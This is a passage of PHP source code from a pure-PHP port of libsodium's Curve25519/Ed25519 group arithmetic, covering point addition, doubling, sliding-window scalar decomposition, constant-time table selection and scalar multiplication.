     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_add(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();

        /** @var int $i */
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (
                1 & (
                    self::chrToInt($a[(int) ($i >> 3)])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        }

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
                ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2);
        }
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_copy($p->X),
            self::fe_copy($p->Y),
            self::fe_copy($p->Z)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     */
    public static function equal($b, $c)
    {
        return (int) ((($b ^ $c) - 1) >> 31) & 1;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|string $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return ($char >> 63) & 1;
        }
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 63);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function cmov(
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an integer.');
        }
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx,  $u->yplusx,  $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d,    $u->xy2d,    $b)
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function ge_cmov_cached(
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u,
        $b
    ) {
        $b &= 1;
        $ret = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $ret->YplusX  = self::fe_cmov($t->YplusX,  $u->YplusX,  $b);
        $ret->YminusX = self::fe_cmov($t->YminusX, $u->YminusX, $b);
        $ret->Z       = self::fe_cmov($t->Z,       $u->Z,       $b);
        $ret->T2d     = self::fe_cmov($t->T2d,     $u->T2d,     $b);
        return $ret;
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $cached
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     * @throws SodiumException
     */
    public static function ge_cmov8_cached(array $cached, $b)
    {
        // const unsigned char bnegative = negative(b);
        // const unsigned char babs      = b - (((-bnegative) & b) * ((signed char) 1 << 1));
        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        // ge25519_cached_0(t);
        $t = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
            self::fe_1(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );

        // ge25519_cmov_cached(t, &cached[0], equal(babs, 1));
        // ge25519_cmov_cached(t, &cached[1], equal(babs, 2));
        // ge25519_cmov_cached(t, &cached[2], equal(babs, 3));
        // ge25519_cmov_cached(t, &cached[3], equal(babs, 4));
        // ge25519_cmov_cached(t, &cached[4], equal(babs, 5));
        // ge25519_cmov_cached(t, &cached[5], equal(babs, 6));
        // ge25519_cmov_cached(t, &cached[6], equal(babs, 7));
        // ge25519_cmov_cached(t, &cached[7], equal(babs, 8));
        for ($x = 0; $x < 8; ++$x) {
            $t = self::ge_cmov_cached($t, $cached[$x], self::equal($babs, $x + 1));
        }

        // fe25519_copy(minust.YplusX, t->YminusX);
        // fe25519_copy(minust.YminusX, t->YplusX);
        // fe25519_copy(minust.Z, t->Z);
        // fe25519_neg(minust.T2d, t->T2d);
        $minust = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
            self::fe_copy($t->YminusX),
            self::fe_copy($t->YplusX),
            self::fe_copy($t->Z),
            self::fe_neg($t->T2d)
        );
        return self::ge_cmov_cached($t, $minust, $bnegative);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            /** @var int $i */
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]),
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]),
                        ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2])
                    );
                }
            }
        }
        /** @var array<int, array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp>> $base */
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0, 31]');
        }

        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, $bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp> $Bi */
        static $Bi = array();
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]),
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]),
                    ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2])
                );
            }
        }
        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
            # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_madd($t, $u, $Bi[$index]);
            # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_msub($t, $u, $Bi[$index]);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult($a, $p)
    {
        $e = array_fill(0, 64, 0);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $pi */
        $pi = array();

        //        ge25519_p3_to_cached(&pi[1 - 1], p);   /* p */
        $pi[0] = self::ge_p3_to_cached($p);

        //        ge25519_p3_dbl(&t2, p);
        //        ge25519_p1p1_to_p3(&p2, &t2);
        //        ge25519_p3_to_cached(&pi[2 - 1], &p2); /* 2p = 2*p */
        $t2 = self::ge_p3_dbl($p);
        $p2 = self::ge_p1p1_to_p3($t2);
        $pi[1] = self::ge_p3_to_cached($p2);

        //        ge25519_add_cached(&t3, p, &pi[2 - 1]);
        //        ge25519_p1p1_to_p3(&p3, &t3);
        //        ge25519_p3_to_cached(&pi[3 - 1], &p3); /* 3p = 2p+p */
        $t3 = self::ge_add($p, $pi[1]);
        $p3 = self::ge_p1p1_to_p3($t3);
        $pi[2] = self::ge_p3_to_cached($p3);

        //        ge25519_p3_dbl(&t4, &p2);
        //        ge25519_p1p1_to_p3(&p4, &t4);
        //        ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */
        $t4 = self::ge_p3_dbl($p2);
        $p4 = self::ge_p1p1_to_p3($t4);
        $pi[3] = self::ge_p3_to_cached($p4);

        //        ge25519_add_cached(&t5, p, &pi[4 - 1]);
        //        ge25519_p1p1_to_p3(&p5, &t5);
        //        ge25519_p3_to_cached(&pi[5 - 1], &p5); /* 5p = 4p+p */
        $t5 = self::ge_add($p, $pi[3]);
        $p5 = self::ge_p1p1_to_p3($t5);
        $pi[4] = self::ge_p3_to_cached($p5);

        //        ge25519_p3_dbl(&t6, &p3);
        //        ge25519_p1p1_to_p3(&p6, &t6);
        //        ge25519_p3_to_cached(&pi[6 - 1], &p6); /* 6p = 2*3p */
        $t6 = self::ge_p3_dbl($p3);
        $p6 = self::ge_p1p1_to_p3($t6);
        $pi[5] = self::ge_p3_to_cached($p6);

        //        ge25519_add_cached(&t7, p, &pi[6 - 1]);
        //        ge25519_p1p1_to_p3(&p7, &t7);
        //        ge25519_p3_to_cached(&pi[7 - 1], &p7); /* 7p = 6p+p */
        $t7 = self::ge_add($p, $pi[5]);
        $p7 = self::ge_p1p1_to_p3($t7);
        $pi[6] = self::ge_p3_to_cached($p7);

        //        ge25519_p3_dbl(&t8, &p4);
        //        ge25519_p1p1_to_p3(&p8, &t8);
        //        ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */
        $t8 = self::ge_p3_dbl($p4);
        $p8 = self::ge_p1p1_to_p3($t8);
        $pi[7] = self::ge_p3_to_cached($p8);


        //        for (i = 0; i < 32; ++i) {
        //            e[2 * i + 0] = (a[i] >> 0) & 15;
        //            e[2 * i + 1] = (a[i] >> 4) & 15;
        //        }
        for ($i = 0; $i < 32; ++$i) {
            $e[($i << 1)    ] =  self::chrToInt($a[$i]) & 15;
            $e[($i << 1) + 1] = (self::chrToInt($a[$i]) >> 4) & 15;
        }
        //        /* each e[i] is between 0 and 15 */
        //        /* e[63] is between 0 and 7 */

        //        carry = 0;
        //        for (i = 0; i < 63; ++i) {
        //            e[i] += carry;
        //            carry = e[i] + 8;
        //            carry >>= 4;
        //            e[i] -= carry * ((signed char) 1 << 4);
        //        }
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        //        e[63] += carry;
        //        /* each e[i] is between -8 and 8 */
        $e[63] += $carry;

        //        ge25519_p3_0(h);
        $h = self::ge_p3_0();

        //        for (i = 63; i != 0; i--) {
        for ($i = 63; $i != 0; --$i) {
            // ge25519_cmov8_cached(&t, pi, e[i]);
            $t = self::ge_cmov8_cached($pi, $e[$i]);
            // ge25519_add_cached(&r, h, &t);
            $r = self::ge_add($h, $t);

            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            // ge25519_p1p1_to_p2(&s, &r);
            // ge25519_p2_dbl(&r, &s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);
            $s = self::ge_p1p1_to_p2($r);
            $r = self::ge_p2_dbl($s);

            // ge25519_p1p1_to_p3(h, &r);  /* *16 */
            $h = self::ge_p1p1_to_p3($r); /* *16 */
        }

        //        ge25519_cmov8_cached(&t, pi, e[i]);
        //        ge25519_add_cached(&r, h, &t);
        //        ge25519_p1p1_to_p3(h, &r);
        $t = self::ge_cmov8_cached($pi, $e[0]);
        $r = self::ge_add($h, $t);
        return self::ge_p1p1_to_p3($r);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult_base($a)
    {
